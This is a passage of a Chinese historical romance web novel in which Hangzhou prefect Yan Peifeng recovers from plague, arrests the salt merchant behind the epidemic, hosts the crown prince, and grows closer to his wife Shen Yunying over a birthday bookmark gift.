听着她微颤的声音,燕培风扯出一个笑,用力抬起手。 沈云楹吸取教训,第一时间让红叶去喊王大夫过来,才疾步到床边,握住他的手。 “我没事了。”燕培风有感觉,他之前一直跟进疫病治疗,王大夫他们应该找到药方。否则他不会如此轻松。 沈云楹想想这几日的艰难,鼻子有些发酸。她总是想起凤鸣山放纸鸢那日,“你就不该去捡那只纸鸢。” “病气和晦气都被你捡身上了。” 燕培风虚弱的笑笑:“好,是我的错。”眼底荡出无限的柔情,缓缓起身,靠在床头。 沈云楹愿意撒娇耍脾气,他心中受用。此时就是沈云楹要天上的星星,燕培风都能许诺会为她摘下。 “受伤了不安分养伤,王大夫说要去信告知祖父祖母,叫你跪祠堂。” “练武多年,还不成气候,等你好了,每日都要习武强身。” 有人痊愈的消息传开,证明疫病不再是索人命的可怕病症。所有人的心情都轻松愉悦起来,顾□□一得知消息,就来平安巷亲自确认。 顺便见了沈云楹,顺口说她自幼习武,身体好。燕培风的武功不及她一半。沈云楹不服气,现在燕培风醒了,得叫他知道被人嫌弃功夫差。 燕培风不知这一层,但都笑着应好。 见人如此顺从,沈云楹觉得自己有些过分,心里积攒的郁气全消,羞赧占了上风。 “你好好休息,我去看看王大夫怎么还不来。”沈云楹转身欲走。 “留下陪我。” 燕培风一把牵住她的手指,拇指轻轻在她手背摩挲,嗓音低沉悦耳,沈云楹甚至还能听出一丝撒娇。 她的心瞬间软如水,薄唇轻启:“好吧。” “红叶办事,不会出岔子。你坐下给我说说府城内的形势。”燕培风转移沈云楹的注意力。 沈云楹将她知道的事缓缓道出。 瘟疫的药方来得很及时。二皇子妃在思齐、银筝、银屏的协助下,撑住局面,所有的安排都没变。燕培风几日没露面,底下已经有人猜测他也染上疫病,只是钟通判不是杀伐果断之人,思前想后没有动作。 剩下的人也在围观。 幸好老天有眼,站在他们这边,王大夫及时研制出药方。 “二皇子妃让我问你,是不是能开城门了?”沈云楹自己倾向于可以,“你给个准话。” 燕培风颔首,谨慎道:“我要听王大夫他们怎么说。这次疫病是人为不是天灾,城中有几批可疑之人,先抓住他们。” “而且太子马上要到金陵,瘟疫不能传出杭州。” 沈云楹深吸口气,“病还没好,就有那么多事要忙。” 门帘响动,红叶拎着王大夫冲进来,老人家胡子都被风吹乱,“红叶啊,我这把老骨头都被你捏碎了!”等看到清醒的燕培风,立即笑开,“醒了就好,老夫给你把把脉。” 没有疫病压在肩头,王大夫脸上带笑,神色轻松。 红叶悄悄跟沈云楹说:“王大夫被一群庸医围着说好话,奴婢把人抢过来的。” 沈云楹莞尔,给她一个大大的奖励,“回去叫桐芍给你连做一个月膳食。” 第93章 雷厉风行 有王大夫亲口认证, 燕培风的身体果真大好,再吃几贴药便能痊愈。屋内氛围立即变得欢快。 沈云楹身心骤松,心中一直紧绷的弦总算放下, 接下来只需要注意滋补。等王大夫细细查看胸前刀伤时候,沈云楹留意到上边还有一道浅浅的疤。 她想起那是出京前, 燕培风听闻她摔伤, 急着去灵城寺见她, 在路上遭人伏击。燕培风不用祛疤膏,在胸前留下这么一道疤。 灵城寺路上的对手是乌合之众, 这次面对的是训练有素的水匪和歹徒,刀伤比上次深多了。沈云楹暗暗决定,一定要燕培风用上祛疤膏。 “你年轻,身体底子好。后续调养一下, 没有大碍。”王大夫彻底放下心,“就是胸前这刀伤,反复几次, 要更小心。” 燕培风颔首,还是选择踩踩在王大夫的底线, “现在府城正是要紧时候,我必须出面。”见王大夫脸色拉下来, 忙沉声道:“我现在感觉很好。” 王大夫撇嘴,不过想想杭州的局势,自从药方出来,思齐每隔一个时辰都得来问问燕培风的情况。杭州此时缺不了燕培风。 他只好道:“这次给多加一点药量,透支的精力,日后你要补回来的。” 燕培风得到想要的答案,笑道:“有劳王大夫。您去写药方吧, 等这事了了,我还要劳烦您调养身体。” 王大夫没说话,转身去外间寻笔墨。 沈云楹三两步来到床边,不赞同道:“你一刻钟都不休息?不用这么着急。我不是跟你说过,二皇子妃和思齐能撑住局面,现在有了对症药方,他们的压力更小。” 才刚醒来,这么快就去忙公务,燕培风的身体受得住吗? 燕培风苦笑摇头,“事情太多,二皇子妃做不来。思齐打下手还行,做不了决定。”望着沈云楹担忧的杏眸,他放软声音,“最多三五日,我一定回后院休养。” 就燕培风挂心公务的模样,沈云楹不想和刚醒来的燕培风争吵,点头同意,“既然你要去衙门办公,那就每日给你送汤水,能补一点是一点。” 燕培风直接答应,这是沈云楹的心意。他伸手握住沈云楹的手腕,感激她的让步。若不是非他不可,燕培风也不会不顾自己的身体。 事态实在凑巧,燕培风调任杭州的时间太短,既没来得及培养心腹,又没有信得过的下属。他只能亲身上阵。 眼看瘟疫解决,正是出政绩的时候,燕培风可不想让别人摘了桃子。 沈云楹陪着燕培风用过膳,喝完药,两人换上新衣裳,走出养病的院子。沈云楹坐上马车,远远看着燕培风站在平安巷巷口,外边围了一些百姓,他面色依然苍白,但身姿挺拔,和百姓说话时候脸上带着一丝笑意。 像个亲民的好官。 沈云楹嘴角弯起,“回府吧。” 红叶低声道:“二皇子妃派人去庄子了,说不要带皇长孙回来,去顾家老宅汇合。”红叶还以为二皇子妃会着急见孩子。 “能不回就不回,杭州还没彻底安稳呢。二皇子妃也是担心孩子。”沈云楹能理解顾□□的做法,现在靠近还有可能染上疫病,不如忍一忍不见面。 “我们派人去接甘草回来吧。”沈云楹想起庄子还有另一个孩子。顾□□将林嬷嬷一起送出去,不知道甘草有没有受委屈。 红叶也知道林嬷嬷的德行,当即道:“林嬷嬷要是欺负甘草,奴婢就去偷偷打她一顿。” 沈云楹笑道:“有二皇子妃在,你打了人,二皇子妃不得查你。看在二皇子妃的份上,不好过分。” 这次顾□□帮了大忙,沈云楹心里十分感激。对顾□□敢于留下应对瘟疫,沈云楹更是心生佩服。 红叶轻哼一声,“过分纵奴总有一天要出事。” 沈云楹何尝不知,她之前小小告状,顾□□亲自来解释为何对林嬷嬷宽容。显然,顾□□很重视林嬷嬷。 “疏不间亲。我们只能提醒一下。”沈云楹端起茶杯润喉,这件事还得靠顾□□自己决定。 相处一段时间,红叶对二皇子妃印象很好,为她不平。但沈云楹说得有理,她心里暗道,大不了她匿名买凶打断林嬷嬷的腿。 沈云楹不知红叶暗戳戳的打算,等回到府里,银屏银筝齐齐扑上来,双眼含泪,激动地一左一右拉住沈云楹,发誓以后绝不会和沈云楹分开,要一直跟在沈云楹身边伺候。 沈云楹同样挂念她们两个,“好了,今后咱们一定顺顺利利,不会遇到这种事。你们都瘦了,”她拉起银筝的手,“去吩咐桐芍整治一顿好的,犒劳你们。” “随你们点菜。”沈云楹加上这句,让银屏银筝和红叶都开始期待。她们可想念桐芍的手艺了。 沈云楹听着她们三个商量点什么菜,觉得十分悦耳。 府衙后院一片和谐,燕培风雷厉风行,一出面便压下蠢蠢欲动的钟通判和城内有邪念的商户。 很快,燕培风找出制造瘟疫的幕后黑手,成功将人抓捕。他站在明畅园的侧门,往里是明畅园柴房,姚伯诚就藏在这里。 姚伯诚,盐商姚家大公子,原先金尊玉贵的翩翩公子,现在穿着粗布麻衣头发零散,一双恶毒的眼神紧紧盯着燕培风。 他低估了燕培风。 燕培风就算身体未愈,仍气度卓然,与姚伯诚站到一块,对比起来更加显眼。燕培风只是想来看看什么样的畜生才会壕无人性,满城散播瘟疫。 心高气傲的姚伯诚受不了燕培风贬低的眼神,厉声道:“燕培风,你先夺我所爱,又毁我家族。姓燕的,我发誓毁了你。城内的瘟疫,都是因为你!” “我拥有的一切,都被你害没了,你也别想顺利升官!” 可是想到瘟疫死亡的人数远远低于自己的预期,他仰天质问,“为什么不能都死了!都是些愚民,不知感恩。我姚家年年散钱做善事,白帮了那么多人,为什么他们不去地下赔罪?” 短短几句话,燕培风猜出姚伯诚的动机,他懒得看失败者的发疯。燕培风仔细观察一圈柴房,最后在窗框里找到一张银票,立即取出来交给思齐。“去通汇钱庄。” 手无缚鸡之力的姚伯诚做不到散播瘟疫,背后肯定有帮手。 燕培风总算找到线索,通汇钱庄,他立即想到四海帮。四海帮是一伙规模不小的水匪,常年在江南水面上活动。之前查获,他们都有通汇钱庄的钱票。 四海帮与姚家关系匪浅。 姚伯诚见燕培风忽略自己,又找出隐藏的钱票,最后一丝希望都破灭。在燕培风的强硬手腕下,他与四海帮都成了丧家之犬,一起报复燕培风。 四海帮那些人都看中钱财,恐怕舍不得通汇钱庄的钱。姚伯诚刹时心灰意冷,不再指望四海帮杀掉燕培风。 和漕运有关,燕培风又立即去信金陵,一边报信杭州平安,一边让左文景查一查昌松平的把柄。昌松平再能伪装,不可能事事都不留痕迹。 找出真凶,燕培风的重心就放到安抚百姓上面。 燕培风在外面忙忙碌碌,沈云楹就在午膳、晚膳时候给燕培风送去滋补的汤水进补。日升月落,燕培风的努力没有白费,杭州城内逐渐恢复从前的人气。 这日,沈云楹问过王大夫,得知他不肯继续开药方,提出要燕培风回府休养。沈云楹等到月上枝头,还没见到燕培风,一挥手就派银屏去请人,告知王大夫的话。 此时,燕培风刚刚下令送孩子们去慈幼院,他们的父母或是家人在此次瘟疫中失去性命,无人照料,只能由官府抚养。 姚伯诚和水匪为一己之私,报复燕培风而酿造出这些恶果,燕培风想尽最大努力佛照他们。 一听到银屏的传话,燕培风忽然气短,看了看燃烧过半的烛火,他应承过王大夫和沈云楹不会连夜忙碌。 搁下慈幼院的折子,燕培风施施然起身往铮然居走去。 刚进院门,燕培风就闻到熟悉的宵夜香气,是菱角莲子粥和七白饮,还有竹笋火腿牛肉面。 燕培风大步迈进屋,清俊的面庞在烛火下更显出疲倦,他看了一眼坐在餐桌边却未动筷子的沈云楹,笑道:“夫人为我准备了宵夜?” 他径直坐在对席,拿起筷子。 沈云楹将牛肉面挪到自己面前,笑道:“菱角莲子粥才是你的。” 如水杏眸给他一个眼神,就你自己的身体,能吃牛肉吗?有点自知之明。 燕培风理亏,牛肉面的香味实在诱人,他还连吃清淡饮食,嘴里没味儿。他半撑着身子,手肘压在桌面上,“夫人精心准备的宵夜,原来不是给我吃的?” 沈云楹给他端一碗莼菜碎肉羹,又打开乌鸡汤盅,“养气补血,夫君,喝吧。” 燕培风皱着眉看熟悉的乌鸡汤,还是和之前一样,一饮而尽,催眠自己就当是喝茶了。 第94章 补汤 饭毕, 天色不早,燕培风又有伤在身,沈云楹便没提要出去消食, 命人泡了六安茶来,给自己与燕培风都倒上一盏。 燕培风试探地朝沈云楹看一眼, 见她神情平和, 并未生气, 心下稍安。他一手端起茶盏,敞口的青花缠枝纹白瓷压手杯, 茶香缓缓飘出,沁人心脾。 “云楹,衙门的事忙得差不多了,我要天天待在你这里养病。”燕培风嗓音柔和, 凤眸微弯,直勾勾地盯着沈云楹。 沈云楹抬眸看他,声音很轻, “你要养病就养病,赖在我这儿做什么?” 燕培风嘴角掠过笑意, 伸手去揽住她纤细的腰肢,“陪你吃吃喝喝。” 男人伸出去的手还未触碰到自己, 沈云楹就往前一步,站到博古架边,眼前恰好就是燕培风亲手雕刻的山水摆件。 燕培风的视线随沈云楹来到博古架,认出自己的手艺,飞速往旁边一瞄,没有他不想看到的东西。他唇畔笑意更深。 沈云楹疑惑地看着燕培风失神,脸上却带着笑, 真不知道他在想什么。 她不是个扭扭捏捏的人,这些时日对燕培风的用心,银屏和银筝都看在眼里,沈云楹岂会不自知? 沈云楹往回追溯,两人相识接近一年的时光,每日来来往往那么多事,沈云楹惊觉自己竟记得与燕培风相处的许多细节。 明明还没有动心,怎么就是清晰记得呢? 沈云楹自己也说不清楚。 许是燕培风率先低头,接受她不喜交际的个性。也许是灵城寺里,燕培风血迹斑斑地站在她床前。也许就是吃饭时候,燕培风顺手把她喜欢的茄子焖鸡夹到她碗里。 燕培风一日复一日的对她体贴关怀,沈云楹的视线就习惯性追逐身边的这个男人。 沈云楹抬手摸一摸两个木头小人儿的头发,燕培风养伤的时候,就先一起好好逛逛后院的景致吧。 历任知府都住在府衙后院,先后堆砌出一年四季的景色。春日看风拂柳,踏青观鱼;夏日游湖品荷,听雨打芭蕉;秋日假山赏菊,设宴拜月;冬日围炉煮茶,踏雪寻梅。 知府任期是三年,她与燕培风的时光还长。 预想的未来美好如幻梦,沈云楹不自觉弯起眉眼。 燕培风悄步来到沈云楹身侧,低头就是她满目柔和的侧脸,刚刚落空的手臂被自然收回来,他的心情跟着轻盈。 刚刚沈云楹落在木雕“燕培风”头上的温柔抚摸,仿佛也落到他这里。 燕培风再次觉得沈云楹开窍了,暗忖沈云楹心里有他。 下一刻又想起曾经的误判,燕培风就很想问问沈云楹,解开心中的疑惑。然而又不好意思跟沈云楹坦白之前误会她喜欢自己。 有损他聪慧君子的形象。 燕培风心念一转,凤眸盯紧沈云楹,忽然开口:“云楹,你送我的紫檀雕竹节狼毫笔,我不慎弄断了。” “嗯?”突然提及紫檀雕竹节狼毫笔,沈云楹没有跟上燕培风的思路。 沈云楹翻出记忆,那管竹节狼毫笔从沈太师库藏里选出来的。 “那就换了吧,库房里还有几支相似的。”沈云楹脑子闪过账册里登记过的狼毫笔,看燕培风舍不得的样子,大概是喜欢这个款式?幸好库房里还有。 燕培风眉峰锁紧,旁敲侧击还是行不通。他只好直接道:“昔日白梅君子以狼毫笔赠心仪之人,言说狼毫赠郎君,等他金榜题名,回乡提亲。两人最后终成眷属,相伴一生。” “此后有了狼毫赠郎君的典故,女子不轻易赠狼毫笔。” 燕培风低头看着沈云楹的脸色由惊讶到接受,一字一句说道。 前朝白梅是才华横溢的女子,她喜爱作诗作画,留下不少真迹。被后人称为白梅君子。白梅又与丈夫举案齐眉一生,为人艳羡。于是,在本朝,女子赠送一位男子狼毫笔,就另有了一层意思。 沈云楹眨眨眼,这,还真有这么个典故。可是,她送的时候真没想起来这点。当时在静远斋,沈云楹就是看那支紫檀雕竹节狼毫笔很合适燕培风。蒋文笙也没提到这点啊。 沈云楹心里真没这个弯弯绕绕的典故。她在沈家私塾,一向摸鱼混日子。前朝大才女白梅她知道。私塾老师上来就是要背诵白梅的一堆诗词,沈云楹背诵的磕磕绊绊,一直在走神。 等等,沈云楹突然想起她还送过一支白玉狼毫笔给蒋高恒。那时候也没人跟她说白梅的典故啊。 她干笑两声,顶着燕培风认真的目光,小声解释:“你知道的,我学识一般般。”言下之意,她真不知道。 涉及到送礼的禁忌,按理沈家会教她。偏偏沈云楹还没经历谈婚论嫁的时期,直接被皇上赐婚。沈老夫人和沈大夫人就没提。沈云楹本着能少学就不学的态度,也不会主动问更多。 燕培风心里叹气,误会就是这么来的。他面上还能维持镇定,点点头,继续问:“那你自嫁给我,总是备着合我口味的宵夜?” 沈云楹先是愣了一下,燕培风怎么问起这个,她若有所思地看一眼充满求知欲的凤眸。 沈云楹还是决定实话实说。 第一次往前院送宵夜,是她熬夜看话本,宵夜做多了。沈云楹本着不浪费的原则,便让人给燕培风送去。 每次熬夜后,沈云楹都会好好调回作息,养回身体,早早歇息。听说燕培风在彻夜看卷宗,小厨房提前备着的宵夜就都送到燕培风面前。 后来,就算沈云楹不吃,小厨房也有眼色的天天做。毕竟,夫人不吃,老爷吃啊,哪儿敢停? 而沈云楹见底下人有心,燕培风也不拒绝,她就当成例,给小厨房多拨下一笔宵夜的费用。 “至于口味,小厨房一向很机灵。”应该是小厨房的功劳了。 听完全程的燕培风深吸口气,竟然如此。 燕培风心里有些失落,怏怏地追问一个,他认为沈云楹在吃醋的事情,“来杭州前,你为我收拾行李,却不愿意安排人伺候随行。 ” 沈云楹抬眸睨他,打断燕培风的话:“除了我,你还想要谁随行伺候?” 她见燕培风一次又一次的追问,脑子一转便知道燕培风在问自己对他是否上心。燕培风一直维持面如平湖的淡定样子,可是他的眼神明晃晃写着黯淡、失落。 沈云楹干脆打断他的话。若不是出了灵城寺的意外,沈云楹或许会做出错误的决定。两个人就没有今日。 燕培风顿了顿,见沈云楹昂头反问的样子,扬起唇角,立刻将人搂进怀里。这次,沈云楹没有拒绝。 以前会错意没事,现在对就行了。 接下来,燕培风的作息跟着沈云楹走。每日只留出一个时辰处理公事,其他时间就跟着沈云楹听戏喂鱼,吃时令鲜果,他喝茶,沈云楹喝小酒,逛遍知府后院的景色。 沈云楹则多了一项乐趣,看看什么时候燕培风才拒绝喝乌鸡补汤。可惜,每次燕培风都一饮而尽。沈云楹还挺佩服,她就做不到。 日子如流水,一天又一天东流飞逝。 杭州城内缓缓恢复往日的热闹,太子从京城出发,一路快马加鞭下江南。他刚到金陵,杭州刚巧打开城门,太子本要亲至杭州,奈何所有人苦劝,君子不立危墙之下。 太子犹豫之际,燕培风亲笔书信送到金陵,太子只能留在金陵,盐税为先。 不过太子也不是什么都不做,他第一道奏疏,没有提及盐税之事,而是先写了杭州瘟疫,请求皇上为燕培风等官员论功行赏,还在奏疏中大赞沈云楹与顾□□,为她们两个讨赏。 太子亲自去接探望李沐廷,又留下足够的侍卫,绝不能让侄子再出事。 有燕培风和左文景打下的基础,太子处理盐税十分顺利。等事情告一段落,太子便决定去一趟杭州。 这天,沈云楹与燕培风在比试画荷。 夏日游湖,眼下才五月初,只有花苞也不扫兴。那就画花苞。 沈云楹偏向工笔写实,燕培风更加水墨写意。 一个随性野路子,一个名师教导。两幅画全然不同。 沈云楹会赏画,她被动学会的技能。太师府里,沈云芝能诗会画,沈老夫人和私塾老师点评多了,她也会欣赏一二。 两人正说要交换画作,就有小厮乘着小舟过来禀报,“老爷,夫人,门外有自称是贵客的人来访。” “贵客?没有自报姓名?”沈云楹扬眉反问。 小厮也很无奈,“并无。奴才们问了几次,来人都不可透露,只说老爷知道。” 要不是看来人锦衣华服,气度非凡,小厮就不敢打扰主子们了。 燕培风眉宇一皱,忽然想起一个人,侧头在沈云楹耳边说出自己的猜测。沈云楹惊讶,“那你去看看?我让人准备宴席。” 燕培风颔首,走到前院花厅,看到熟悉的脸,就知道自己没猜错,来人正是太子殿下。 太子第一眼就是打量燕培风,折扇一收,笑道:“还以为会看到你病容憔悴呢,瞧你面色滋润的,说说,喝了多少大补汤?” 第95章 生辰 燕培风人逢喜事精神爽, 又不是第一次见识太子的不着调了,他径直从容迈进花厅,叫人上茶。 “太子亲临, 金陵的事都忙完了?”燕培风随口反击。 太子端起一杯雪峰蒙顶,清冽甘甜, 缓解赶路的燥意。他神情轻松, 轻笑道:“做事要一张一弛, 孤也得松松手不是?” 他张开手掌又握紧,从金陵查盐税, 已经抓了一批人,接下来正好推出新的盐税考察法,先让左文景在那儿预预热。 太子亲眼瞧过燕培风,知道他没有大碍才能真正放心。 “父皇说下次可不敢轻易放你出京了。每次都整的心惊胆战。”太子心里也纳闷儿, 燕培风就出京两次办差,两次都遇到事儿,还一次比一次严重。 燕培风面色一僵, 无奈道:“都是巧合。” 太子抚掌而笑,燕培风难得吃瘪, 乐道:“不用能等期满,父皇召你回京的圣旨可能就下来了。” “微臣才到杭州多久, 皇上岂会儿戏?”燕培风不相信地回视太子。 接任杭州知府,领下差盐税的任务,燕培风就做好心理准备应对各种挑战。他不信皇上没有。哪能刚做出一点成绩就急急召他回京的? “治理一方,从书本可看不出经验。”燕培风需要有治理地方的经验,他是不会轻易离开的。 想到燕培风在杭州城的表现,太子正色道:“论功行赏,京城的旨意很快会下来, 父皇很重视,八百里加急呢。新任同知的人选,应该跟着一起宣布。” 燕培风微微倾身,“是谁?” “翰林院的孔仰之,崇国公第三子。今科会试结束,他在翰林院也待了三年,父皇惜才,直接点了他来。” 崇国公是保皇党,他的儿子孔仰之跟在父亲身后。孔仰之来了会尽心帮燕培风,不会拖后腿。 燕培风颔首,这个人选有点意外,但是想想也不错,不会掣肘他就行。 说完朝政,太子忽然问起:“孤一进城就听到百姓说要去平安巷口找名字?” 来得匆忙,太子还没去平安巷看过。 燕培风微微一笑,“此次瘟疫,府城百姓功不可没。微臣便让人在平安巷口立石碑,将有贡献的百姓姓名雕刻下来。 ” 府城百姓知道这事,纷纷要去寻找有没有自己的名字。 捐钱捐粮的商户乡绅一定有,普通百姓,不管是参与缝制药巾被褥的妇人,还是出力的汉子,燕培风这里都有名册。 这属于光宗耀祖的好事,百姓的热情从石碑竖起那日就没消减下去。 太子敬佩看燕培风一眼,能这么快想到并实施这个主意,燕培风处事愈发周全了。此举轻而易举将府城内的人心凝聚到一处。 “明儿孤也去瞧瞧。”太子是真感兴趣。那么多百姓都想去找名字,他要去看看有多少人名。 燕培风没有阻止,城内治安不错,太子带上侍卫随意逛。 这时候,外面思齐传话,“老爷,宴席备好了,可要摆膳?” 燕培风与太子去餐厅用饭,又领着太子去前院收拾出来的青柏院,让太子早点安歇。 晚上,燕培风回到铮然居。 沈云楹这边刚从书房出来,与燕培风走了个对脸,“你回来了?太子只是来逛逛还是?” 沈云楹担心太子还要查姚家,查杭州批出去的盐引。杭州在海宁县设有一个盐场。要是继续往下查,燕培风又得忙碌。 她希望燕培风多休息一阵呢。 燕培风顺手揽住沈云楹的肩膀,“太子就是来逛逛,过两天就走了。” “二皇子妃刚走,他得赶着去顾家坟前上柱香。”顾家全家为朝廷战死,太子既然来了,必要去上柱香。这次顾□□与李沐廷被人袭击,太子更要去安安顾家退伍老士兵的心。 沈云楹安心了,忽闻到一股清淡的酒味,歪头凑近他耸动两下鼻子,问道:“你喝酒了?” 燕培风理直气壮,“没有。”脸上露出气愤的神色,低头道:“我只能喝茶喝汤,太子故意在我面前喝酒。” 说完,委屈地看一眼沈云楹,“跟你一样。” 沈云楹想到每日用膳和燕培风同桌不同食,顿时气短。她讪讪一笑,“好了好了,明日膳食就改了。” 两天前王大夫就说过,除了几样忌口,燕培风可以正常饮食。是沈云楹不放心,延长了时间。 燕培风满意了,两人都眼含笑意进屋。 太子待了两日,燕培风就陪两日。临别前,太子望着生机勃勃的府城图景,想不出这里刚发生过令人闻之色变的瘟疫。 多亏燕培风治理有方。 太子深深看一眼燕培风,“培风,金陵水匪罪不可赦,孤已经命人将他们押解进京。” 燕培风对这个结果早有预料,点点头道:“理应如此,四海帮的漏网之鱼都已抓到。如今,水面上很平静,梳理漕运,对朝廷有利。” 两匹马在官道并肩而行,侍卫远远跟在身后。 太子直视前方,声音冰冷,“二弟妹和沐廷会遇险,背后出手的人是钱家。二弟都没心思,钱兴斌在暗地里上蹿下跳。实在可恶。怎么也是发妻和嫡子。二弟这点脑子还是有的。” “还有昌松平,怎么也不会轮到三皇子。昌松平还想当黄雀,哼。” 最后一声哼,满是讥讽。罢职贬官,在前面等着昌松平。 燕培风幽幽道:“若太子与二皇子两败俱伤,论长,自然就是三皇子了。” 虽然三皇子表现平庸,无功无过。可在皇上眼中,那也是他儿子。群臣眼里,那也是皇子。 太子沉思片刻,“你说得对。淑妃还是四妃之首。” 燕培风没有多说,太子当了三十多年太子,稳居东宫,无需他多言。目送太子的走远,燕培风勒马回城。 —— 青杏如豆,新荷出水,眨眼来到五月尽头。 到燕培风的生辰了。 五月二十九日。 沈云楹一早就开始备礼,忙了快半个月才拿到实物。偏巧,这日下午有百姓击鼓鸣冤,燕培风去处理,直到月上枝头才回府衙。 沈云楹等了一会儿,还没等到燕培风回后院。 “夫人,思齐说,下午是连环命案,老爷正在看卷宗。”银屏说出打听到的消息。 沈云楹抿唇,行吧,山不就我,我便去就山。 沈云楹领着银屏银筝去前院书房,她估摸着燕培风怕是忘记今日是他生辰,还打算看到半夜才歇息。 前院书房灯火通明,沈云楹一进门,思齐就上前行礼,“夫人您来了!” 声音不小,屋内的燕培风搁下手里的卷宗,忙起身去开门,沈云楹披着银白色披风,站在门口。 燕培风大步走出去,转头吩咐思齐,“今后夫人来书房无需通禀。” 他牵住沈云楹的手,温声道:“我的书房,你随时能来。”又问:“这么晚了,怎么还不睡?” 沈云楹听完燕培风的嘱咐,嘴角扬起一抹笑意。杭州的书房和京城的书房差不多,燕培风没有提要求,小燕管家就按照京城的样式布置。 “你忘记今儿是什么日子了?”沈云楹现在非常确认燕培风忘记这个重要的日子。 燕培风望着沈云楹期待又好笑的目光,凝眉思索,接着就笑了,“云楹给我准备了生辰礼?” “我还以为你想不起来呢,”沈云楹戏谑看他一眼,从衣袖中掏出自己精心准备的贺礼,“喏,给你。” “祝你生辰吉乐,平安康健。” 燕培风眉峰一挑,接过细细地看。 这是一个算筹样式的书签。素净的斑竹片,通身光滑,在底下浅浅勾勒出一朵祥云,再往下钻了一个孔,系着一根红色流苏。 是燕培风常用的算筹规格。 但是吧,他慢慢摩挲两下,这个样式,当算筹吧,有流苏遮挡视线。 沈云楹花了心思,又偷懒的不做足二十五跟算筹。 唯有当成书签用了。 “怎么样?喜欢吗?”沈云楹微微侧头,看燕培风的反应。 燕培风用手指一拨弄,大红色的流苏便晃晃悠悠地摇摆,“怎么用红色?” 他与沈云楹都不钟情大红色。艳俗。 沈云楹义正严词,“我想了想,今年你是本命年,加点红色,辟邪。” 燕培风一噎,万万没想到会是这个回答,又听沈云楹接着道:“明日还要去拜太岁,对了,你还得穿着红衣去。” 十二年前,皇上和皇后也曾这么叮嘱过他,用舅舅和舅母的名义陪他去护国寺。 子不语怪力乱神。燕培风内心不相信这些,可是沈云楹为他操心,燕培风便一一应下,“好。” 这个算筹书签,他会随身携带,不为躲灾,为沈云楹安心也好。 燕培风郑重道:“我喜欢。” 沈云楹心情大好,从衣袖中取出另一个书签,和赠送给燕培风的那个一模一样,唯有一处不同,底下是一阵风。 燕培风眼尖,一下就看到这两个特别的图案,只需一想就知道这代表了什么。 燕培风、沈云楹,不就是一阵风,一朵云么? 念及此,燕培风笑弯眼眸,柔声问:“你画的?” 他看过沈云楹作画,认出是她的笔触。 沈云楹点头,将两个书签凑到一处,“两个都是我亲手画好,交给工匠打的。” “好看。” 到了这个时候,燕培风才发现自己原来如此笨嘴拙舌。他应该用许多华丽的辞藻来赞美,可话到嘴边,竟然只能说出朴实无华的好看二字。 沈云楹笑盈盈的杏眸亮又圆,能清晰看到自己的倒影。 燕培风胸膛砰砰加速跳动,他迅速俯身在沈云楹额头落下一吻。 第96章 横财 沈云楹面颊发烫, 微微往后退一步,睁着水灵灵的杏眸看一眼燕培风。 她可不是来书房红袖添香的。 燕培风循着沈云楹的步伐往前迈一步,手掌紧紧贴着她的后腰, 嗓音低沉暗哑,“别躲。” 狭长的凤眸犹如以一汪深潭, 幽深而汹涌, 炽热的目光描绘着沈云楹的眉眼、琼鼻, 再到樱桃红唇,流连几次, 最终定格在她的唇瓣,贪婪地攫取每一寸的滋味。 沈云楹尚未反应过来,便被燕培风抵在案桌边,有燕培风的手掌垫着, 不用担心磕碰。 与额头吻的浅尝辄止不同,这个吻如饮醇醪,回味悠长。 唇瓣一分开, 喘息交错,两人都有些意乱情迷。 还是沈云楹先清醒过来, 现在场合不对,时间也不对!沈云楹抬手轻轻捏一捏燕培风的胳膊, 低低地喊:“燕培风。” 燕培风几乎从胸腔发出一声嗯,他理智仍存,这里是书房,不是床榻。燕培风有一瞬间想和沈云楹在书房胡闹一次,但是想到沈云楹性子娇懒,书房处处都硬梆梆的,暂时不合适。 燕培风神情逐渐恢复平静, 牵着沈云楹出门,带着一丝急切询问:“我们回铮然居?” 四目相对,沈云楹领会了燕培风的言下之意。她摇摇头,有些不好意思地凑到燕培风耳边,小声说道:“我不太方便。” 燕培风皱起眉,“怎么了?” 沈云楹面色更红了,等会了一会儿,见燕培风还没想通,只好直接道:“昨日信期来了。” 燕培风一怔,原来如此。可是,他记得沈云楹的信期不是月底,便关心问:“这个月延迟了,王大夫怎么说?” 之前沈云楹的身体由陈太医负责调养,后来出京,陈太医便和王大夫交接,王大夫最清楚沈云楹的身体状况。 沈云楹回道:“没事。”这种事就不用与燕培风详细讨论了吧。就延迟这么一次,王大夫说问题不大,药膳都改成时令的初夏食材,食补即可。 燕培风观她神态怡然,跟着安下心。 解释过不能行床榻之事,还可以正正经经的休息嘛。沈云楹一身轻松地邀请:“该回铮然居歇息了。” “好。”燕培风应道,现在他尚未完全康复,沈云楹也在信期,两人都不适合熬夜。 燕培风小心翼翼把算筹书签放入袖中,缕缕流苏轻轻拂过他的手臂,他忍不住更紧地攥住沈云楹的手心。 临出门前,燕培风还记得吩咐思齐派人去盯着报案人,一边保护,一边监视。思齐惊讶地看一眼燕培风,主子真是兢兢业业。 一夜好眠,翌日大早,燕培风出府继续侦查命案,沈云楹则开始月底理账。可巧银屏这个好帮手不在,她被沈云楹派去金陵跟蒋文笙报平安,至今未回。 杭州瘟疫的事情开始捂得紧,后来消息传到江南书院,蒋文笙就想赶来杭州,蒋宜哪能看着女儿来送死?派人紧紧拦着她,不让蒋文笙出蒋家大门。 沈云楹忙昏了头,竟然忘了遣人去蒋家报平安,等蒋文笙身边的良嬷嬷到杭州,她忙让人进来,避重就轻说疫病期间的事,重点是她在府衙后院很安全。 良嬷嬷带来各样药材,还有滋补品,深怕沈云楹身体有个万一。等亲眼见到沈云楹没事,良嬷嬷眼眶都红了。她家夫人就三姑娘一个血脉,好在不用白发人送黑发人。 沈云楹心里牵挂蒋文笙,当下准备一堆东西,又派银屏亲自去蒋家,跟蒋文笙细说整件事,省得她担心。 银筝拿起一本账册,“夫人,这本是原姚家书肆送过来的。因是新入手的铺子,掌柜的便把今年的账册都送进府。奴婢看了,这两个月亏本一百两,其他时候每月都有盈利。” “我看看。”沈云楹接过,满意点点头,账本做得不错,掌柜的特意用她的规矩誊抄过一遍,笔墨都很新。 这两月亏本情有可原。 沈云楹会买下姚家的书肆,主要是这家书肆是杭州话本最齐全、最新颖的书肆。它有固定合作供稿的几位书生,沈云楹看过,写得都不错。 在姚家倒台之后,沈云楹只挑了这家书肆买下。其他的产业都没有伸手。 银筝指着旁边的一个雕漆素纹樟木匣子,笑道:“掌柜的还把您点名要的《临魏六帖》拿来了,您要不要瞧瞧?” 《临魏六帖》是姚家书肆的镇店之宝,早早言明不会售卖。 